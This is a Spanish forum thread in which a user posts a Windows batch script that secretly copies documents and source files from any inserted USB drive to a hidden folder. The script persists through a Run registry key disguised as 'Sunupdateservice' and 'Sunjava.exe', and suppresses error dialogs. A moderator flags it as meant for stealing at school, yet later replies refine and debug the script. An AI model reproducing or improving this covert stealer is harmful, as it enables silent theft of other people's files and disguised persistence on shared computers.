[BATCH] Copiar archivos de usb Script bath

Iniciado por asdexiva, 5 Noviembre 2012, 23:43 PM

0 Miembros y 1 Visitante están viendo este tema.

asdexiva

pss hice un script que copia archivos al pc
el script lo que hace es que al meter la usb copia todos los archivos con las extension que quieras al pc
donde dice:
(*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)
van las extensiones
ejemplo
(*.jpg)
y si quieres copiar mas extensiones separas por comas ,
(*.jpg,*.mp3)
otra cosa no borres el asterico * que es igual a todos los archivos
*=todos los archivos

el mkdir crea carpetas en dicha ubicacion
ejemplo:
mkdir C:\trabajos

esto hace que se agrege al registro y se inicie al prender el pc
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f

este quita un error que dice no ay disco
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f


y esto es una especie de lista de espera para volver a empezar

ping 127.0.0.1 -n 35

source:
@echo off
REM A
REM U
REM T
REM O
REM C
REM O
REM P
REM Y
REM by asdexiva~
:inicio

mkdir C:\trabajos
REM copiado de archivos al usb
(FOR /R "E:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))



REM SE AGREGA AL INICIO DEL SISTEMA
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
REM COPIAR ARCHIVO A WINDOWS PARA INICIAR con el registro
Copy /y %0, "%WINDIR%\14785\Sunjava.exe"


:LOOP
REM especie de sleep 35 SEGUNDOS
ping 127.0.0.1 -n 35

goto inicio







MOD: Haz el favor de leer las normas, no postear material con fines de hacking nó éticos, como es por ejemplo "ROBAR EN LA ESCUELA".

Eleкtro

#1
Puedes mejorar el uso de expresiones:
*.doc?

*.ppt?

Así buscará archivos doc y docx, ppt y pptx, sin necesidad de usar "*.docx" y "*.pptx".

También puedes simplificar todos los FOR en uno solo, quedaría así:

Código (dos) [Seleccionar]
@Echo OFF

SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"

FOR %%# IN (%DRIVES%) DO (
ECHO "%%#"
PUSHD "%%#:\" 2>NUL && (FOR /R %%@ IN (*.c, *.cpp, *.doc?, *.ppt?) DO (Copy /y "%%@" "C:\trabajos\"))
)

Pause&Exit



un saludo








asdexiva

#2
o eso de hacer todos los for en un solo no sabia tratare de hacerlo haci gracias elektro


Elektro

disculpa que te moleste con esto pero la variable esta "%%#" = es  "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"  ?¿?¿ perdona xD y otra cosa los nul para que sirven nunca me an gustado usarlos hahaha

Eleкtro

No me molesta responder a dudas, no te preocupes.



Cita de: asdexiva en  6 Noviembre 2012, 03:32 AMla variable esta "%%#" = es  "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"  ?¿?¿

Cada letra de la variable "%DRIVES%" se va almacenando en la variable "%%#" por lo tanto se puede contestar más o menos que a tu pregunta.



Cita de: asdexiva en  6 Noviembre 2012, 03:32 AMlos nul para que sirven

Cita de: Elektro H@ckerNUL es un archivo especial de Windows que descarta toda la información que le redireccionemos, prácticamente su único uso es ocultar la salida de un comando evitando la necesidad de crear un archivo extra que nos moleste en nuestro disco duro.

> 4.6 Operadores de desplazamiento lógico (o Redireccionamiento)

saludos








DRIGIN

Electro tu codigo no me funciona del todo, nose  pero si lo ejecuto en el escritorio por ejemplo , lo que haces es buscar dentro de todas las carpetas del escritorio los archivos definidos y copiarlos, no me busca en las letras o direcciones definidas en SET, y no usa ninguna de las letras definidas en set para mi disco duro, simplemente busca y copia lo definido pero en la direccion donde se ejecuta, nose cual es el problema

Eleкtro

Pues el bat que hice a mi me funciona correctamente, primero se mete en C:, busca, luego se mete en D:, y busca... etc


Asegúrate de estar seteando bien la variable:
SET "DRIVES=B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
Debe haber un espacio entre las letras, como en el ejemplo.


Saludos








DRIGIN

mkdir %homedrive%\trabajos2

SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
pause
FOR %%# IN (%DRIVES%) DO (ECHO "%%#" PUSHD "%%#:\" 2>NUL && (FOR /R %%@ IN (*.txt, *.ppt?) DO (Copy /y "%%@" "%homedrive%\trabajos2\")))
Pause&Exit


lo ejecuto en el escritorio y solo me pasas los archivos del escritorio y sus subcarpetas. C:\Users\usuario\Desktop
porque pasa eso si no esta la letra c:

Eleкtro

Cita de: DRIGIN en 22 Noviembre 2012, 01:34 AMporque pasa eso si no esta la letra c:

Porque el comando que se encarga de entrar a las unidades lo estás omitiendo:
CitarDO (ECHO "%%#" PUSHD "%%#:\" 2>NUL &&

Ahí falta un:
CitarDO (ECHO "%%#" & PUSHD "%%#:\" 2>NUL &&

Eso no te pasaría si no hubieras "cortado" mi script para ponerlo en una sola línea XD

Saludos!








DRIGIN


cawento

Si existen dos archivos con el mismo nombre en distintos directorios, el último sobreescribe al primero, esto es asi?